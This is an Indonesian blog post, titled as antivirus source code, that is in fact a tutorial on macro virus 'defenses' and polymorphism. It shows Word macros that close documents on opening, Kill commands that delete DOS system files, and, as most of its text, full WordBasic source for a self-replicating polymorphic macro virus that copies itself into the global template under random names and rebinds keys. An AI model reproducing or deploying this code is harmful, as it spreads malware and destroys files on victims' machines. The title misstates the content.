You Are Reading

0

Source Code Anti Virus Macro

Blog_ir@one ,


Adakah virus macro yang ber-polymorphic?

Hamper semua virologist sudah pada tahu apa maksudnya virus polymorphic. Virus yang mengubah strukturnya dan biasanya untuk meloloskan diri dari deteksi antivirus.

Kalo polymorphic pada file “.exe”, “.bat”, “.vbs” dan lainnya yah biasa…. Kalo macro?
Virus yang ditulis dengan Microsoft office bisa kan berpolymophic? Bagaimana caranya?

Penuh tanda tanya memang!



Sebenarnya alasan utama melakukan polymorphic adalah untuk pertahanan diri. Untuk itu sebelum masuk ke cerita virus macro polymorphic, kita bicarakan dulu pertahanan yang dilakukan virus Macro…

Dari sekian banyak pertahanan virus macro, ini lah cara yang paling mudah!
SendKeys “%” + “F4”

Mengana? Karena itu sama aja tekan tombol Alt+F4. Tapi ada kelemahannya! Terkadang muncul window atau prompt yang mengingatkan untuk men-save kembali.
Kalo mau Ctrl+alt+del
SendKeys “^” + “%” + “-”

Kalo yang mau lebih keren lagi ini…
ThisDocument.Close

Buka VisualBasicEditor yang ada di Ms.Word dengan menekan tombol Alt+F11.

Setelah itu, ketik disitu:
Private Sub Document_Open()
ThisDocument.Close
End Sub

Kalau source itu yang kita gunakan, malah begitu hidup langsung nutup tuh document. Alias kita gak akan bisa membuka file document kita.

Kalo mau yang lebih keren lagi ini…
Private sub Document_Open()
ActiveDocument.Close
End Sub

Malah semua document yang aktif malah tertutup tuh tanpa kompromi.

Memang macam-macam pertahanan virusmacro, ada juga pertahanan dengan menghapus file, lihat source berikut:
Kill”C:\Autoexec.bat”
Kill”C:\Config.sys”
Kill”C:\Command.com”
Kill”C:\io.sys”
Kill”C:\msdos.sys”

Lalu pertahanan selanjutnya ada yang dinamakan polymorphic.
Ini ada sourcenya… Source code dulunya saya dapat dari salah satu web virologist asing yang cukup terkenal. Dan source yang berikut ini sudah saya edit.

Sub MAIN
On Error Goto Done
Dim lokasi as string

lokasi = FileName$()
If lokasi = “” Then Goto Finish

If VInstalled = 0 Then
Run1
Run2
FileSaveAll 1, 1
Else
Goto Done
End If

Done:
lokasi = FileName$()
If lokasi = “” Then
Goto Finish
Else
Insert ” “
End If

Finish:
MsgBox “polymorph”, – 8
End Sub

Sub Run1
X$ = Fun$(F$, G$, H$, J$)
Y$ = Fun$(F$, G$, H$, J$)

Z$ = X$ + Y$

R1$ = GetDocumentVar$(“VirNameDoc”)
CO$ = FileName$() + “:” + R1$
MacroCopy CO$, “Global:” + Z$
SetProfileString “Intl”, “Info2″, Z$
ToolsCustomizeKeyboard .KeyCode = 65, .Category = 2, .Name = Z$, .Add, .Context = 0
End Sub

Sub Run2
X$ = Fun$(F$, G$, H$, J$)
Y$ = Fun$(F$, G$, H$, J$)

Z$ = X$ + Y$

R2$ = GetDocumentVar$(“VirName”)
OC$ = FileName$() + “:” + R2$
MacroCopy OC$, “Global:” + Z$
SetProfileString “Intl”, “Info1″, Z$
ToolsCustomizeKeyboard .KeyCode = 32, .Category = 2, .Name = Z$, .Add, .Context = 0
End Sub

Function VInstalled
CC$ = GetProfileString$(“Intl”, “Info1″)
VInstalled = 0
If CountMacros(0) > 0 Then
For i = 1 To CountMacros(0)
If MacroName$(i, 0) = CC$ Then
VInstalled = 1
End If
Next i
End If
End Function

Function Fun$(F$, G$, H$, J$)
One = 1169
Two = 9294
Num = Int(Rnd() * (Two – One) + One)
A$ = Str$(Num)
A$ = LTrim$(A$)

B$ = Mid$(A$, 1, 1)
C$ = Mid$(A$, 2, 1)
D$ = Mid$(A$, 3, 1)
E$ = Mid$(A$, 4, 1)

If B$ = “1″ Then F$ = “A”
If B$ = “2″ Then F$ = “B”
If B$ = “3″ Then F$ = “C”
If B$ = “4″ Then F$ = “D”
If B$ = “5″ Then F$ = “E”
If B$ = “6″ Then F$ = “F”
If B$ = “7″ Then F$ = “G”
If B$ = “8″ Then F$ = “H”
If B$ = “9″ Then F$ = “I”
If B$ = “0″ Then F$ = “J”

If C$ = “1″ Then G$ = “H”
If C$ = “2″ Then G$ = “I”
If C$ = “3″ Then G$ = “J”
If C$ = “4″ Then G$ = “K”
If C$ = “5″ Then G$ = “L”
If C$ = “6″ Then G$ = “M”
If C$ = “7″ Then G$ = “N”
If C$ = “8″ Then G$ = “O”
If C$ = “9″ Then G$ = “P”
If C$ = “0″ Then G$ = “Q”

If D$ = “1″ Then H$ = “A”
If D$ = “2″ Then H$ = “B”
If D$ = “3″ Then H$ = “C”
If D$ = “4″ Then H$ = “D”
If D$ = “5″ Then H$ = “E”
If D$ = “6″ Then H$ = “F”
If D$ = “7″ Then H$ = “G”
If D$ = “8″ Then H$ = “H”
If D$ = “9″ Then H$ = “I”
If D$ = “0″ Then H$ = “J”

If E$ = “1″ Then J$ = “R”
If E$ = “2″ Then J$ = “S”
If E$ = “3″ Then J$ = “T”
If E$ = “4″ Then J$ = “U”
If E$ = “5″ Then J$ = “V”
If E$ = “6″ Then J$ = “W”
If E$ = “7″ Then J$ = “X”
If E$ = “8″ Then J$ = “Y”
If E$ = “9″ Then J$ = “Z”
If E$ = “0″ Then J$ = “Q”

Fun$ = F$ + G$ + H$ + J$
End Function

Sekian tutorial kita…

Free Template Blogger collection template Hot Deals SEO

0 komentar:

Posting Komentar

 
Copyright 2010 Iraones blog's